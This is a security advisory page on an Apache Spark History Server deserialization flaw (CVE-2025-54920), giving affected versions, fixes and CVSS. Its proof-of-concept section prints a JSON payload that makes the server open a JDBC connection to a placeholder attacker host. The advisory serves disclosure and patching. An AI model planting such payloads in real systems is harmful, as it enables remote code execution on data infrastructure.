High

Apache Spark: Spark History Server Code Execution Vulnerability

  • Disclosed: 16.03.2026
  • Updated: 11.10.2026 13:20

This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

Summary

Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

Details

The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

Proof of Concept:

  1. Run Spark with event logging enabled, writing to a writable directory (spark-logs).

  2. Inject the following JSON at the beginning of an event log file:

{

  "Event": "org.apache.hive.jdbc.HiveConnection",
  "uri": "jdbc:hive2://<IP>:<PORT>/",
  "info": {
    "hive.metastore.uris": "thrift://<IP>:<PORT>"
  }
}
  1. Start the Spark History Server with logs pointing to the modified directory.

  2. The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.

Impact

An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.apache.spark:spark-core_2.10 <= 2.2.3 no fix
Java / Kotlin (Maven) org.apache.spark:spark-core_2.11 <= 2.4.8 no fix
Java / Kotlin (Maven) org.apache.spark:spark-core_2.12 < 3.5.7 3.5.7
Java / Kotlin (Maven) org.apache.spark:spark-core_2.13 >= 4.0.0, < 4.0.1, < 3.5.7 4.0.1, 3.5.7
Java / Kotlin (Maven) org.apache.spark:spark-core_2.9.3 <= 0.8.1-incubating no fix

References

CVSS score 8.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Java / Kotlin (Maven)
Package
org.apache.spark:spark-core_2.10, org.apache.spark:spark-core_2.11, org.apache.spark:spark-core_2.12
Disclosed
16.03.2026
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-jwp6-cvj8-fw65 - CC BY 4.0

Vulnerability history: org.apache.spark:spark-core_2.9.3

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
2
First → latest
11.2022 03.2026
Without a fix
2
Exploited in attacks
0

Severity breakdown

  • High 1
  • Medium 1

Disclosures per year

  1. 2022: 1
  2. 2023: 0
  3. 2024: 0
  4. 2025: 0
  5. 2026: 1
  1. Apache Spark: Spark History Server Code Execution Vulnerability this entry
    High · 8.8 CVE-2025-54920 <= 0.8.1-incubating no fix

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.